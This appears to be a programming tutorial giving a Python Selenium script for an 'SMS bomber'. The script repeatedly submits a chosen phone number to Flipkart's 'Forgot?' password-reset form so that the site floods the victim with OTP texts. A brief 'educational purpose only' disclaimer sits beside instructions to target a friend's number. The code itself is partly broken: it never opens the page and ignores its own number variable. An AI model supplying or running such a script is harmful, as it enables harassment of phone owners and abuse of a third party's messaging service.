Here, we are going to learn a simple SMS bomber trick (for fun and educational purpose). Selenium is a free tool for automated testing across different browsers. In this tutorial, we will learn to send automatically number of spam SMS for given number of frequency and interval.
Requirement:
You need to install chromedriver and set path. Click here to download.
Below are the steps:
- First go to flipkart website using this Link.
- Then click on inspect element by pressing ctrl + shift + i or going in setting of browser and clicking on inspect element manually.
- Then find the class name of “Enter the number” input field and “Forgot?” link. We will use it later.


- Now, Run the script by putting appropriate class name for each element.
- Now it will automatically send spam sms to your friend’s mobile number.
Note: This tutorial is for educational purpose only, please don’t use it for disturbing anyone or any unethical way.
Below is the implementation:
Python3
from selenium import webdriver
import time
browser = webdriver.Chrome()
frequency = 10
mobile_number = "1234567890"
for i in range (frequency):
number = browser.find_element_by_xpath( '//*[@id="container"]/div/div[3]/div/div[2]/div/form/div[1]/input' )
number.send_keys( "1234567890" )
forgot = browser.find_element_by_link_text( 'Forgot?' )
forgot.click()
time.sleep( 2 )
browser.quit()
|
Whether you're preparing for your first job interview or aiming to upskill in this ever-evolving tech landscape,
GeeksforGeeks Courses are your key to success. We provide top-quality content at affordable prices, all geared towards accelerating your growth in a time-bound manner. Join the millions we've already empowered, and we're here to do the same for you. Don't miss out -
check it out now!
Last Updated :
26 May, 2021
Like Article
Save Article